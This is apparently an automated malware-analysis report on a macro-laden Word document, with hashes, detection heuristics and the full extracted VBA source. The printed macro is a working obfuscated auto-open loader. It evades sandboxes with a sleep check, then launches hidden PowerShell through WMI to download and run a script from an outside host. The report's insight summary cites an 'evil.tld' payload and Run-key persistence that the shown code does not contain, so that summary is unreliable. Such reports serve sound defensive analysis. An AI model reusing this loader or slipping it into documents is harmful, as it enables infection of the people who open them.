Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 67a5c3fdeddcc352…

MALICIOUS

Office (OOXML)

24.5 KB Created: 2020-12-13 11:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-12-28
MD5: fa2ecd92cc227cce2df536a57d29d95c SHA-1: 1396c208a982422d06b213006d32a5a96339c45f SHA-256: 67a5c3fdeddcc352d7a688d8d2e630996fd9aa180b0c0c65ea5874eb7bcd1257
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros, specifically triggering AutoOpen and Document_Open events. The script attempts to download and execute a second-stage payload from the reconstructed URL "http://evil.tld/payload.exe" and establish persistence via the Run key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy". The obfuscated nature and execution of a downloaded payload indicate a downloader or droppper malware.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     Joseph = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
     GetObject(Vix("136122127126120126133132075")).Get(Vix("104122127068067112097131128116118132132")).Create Joseph, Fadi, Yusra, Rachid
    End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
     Joseph = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
     GetObject(Vix("136122127126120126133132075")).Get(Vix("104122127068067112097131128116118132132")).Create Joseph, Fadi, Yusra, Rachid
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
     RandomM
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
    Sub Document_Open()
     RandomM
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1545 bytes
SHA-256: 2b2abfc0b5ee33489cd9a06406c9fa7140dfc5519908fec33bc55f13188ccd37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Function Ram(Lol)
 Ram = Chr(Lol - 17)
End Function
Function Juice(Apple)
 Juice = Left(Apple, 3)
End Function
Function Carole(Jerry)
 Carole = Right(Jerry, Len(Jerry) - 3)
End Function
Function Vix(Cheese)
 Do
 Jad = Jad + Ram(Juice(Cheese))
 Cheese = Carole(Cheese)
 Loop While Len(Cheese) > 0
 Vix = Jad
End Function
Sub RandomM()
 Dim t1 As Date
 Dim t2 As Date
 Dim time As Long
 t1 = Now()
 Sleep (2000)
 t2 = Now()
 time = DateDiff("s", t1, t2)
 If time < 2 Then
  Exit Sub
 End If
 Joseph = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
 GetObject(Vix("136122127126120126133132075")).Get(Vix("104122127068067112097131128116118132132")).Create Joseph, Fadi, Yusra, Rachid
End Sub
Sub Document_Open()
 RandomM
End Sub
Sub AutoOpen()
 RandomM
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: c7b002be7f4120f2a31f8b7ab1f6ee8b8c7704b933b494bec9270a1195917e92
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).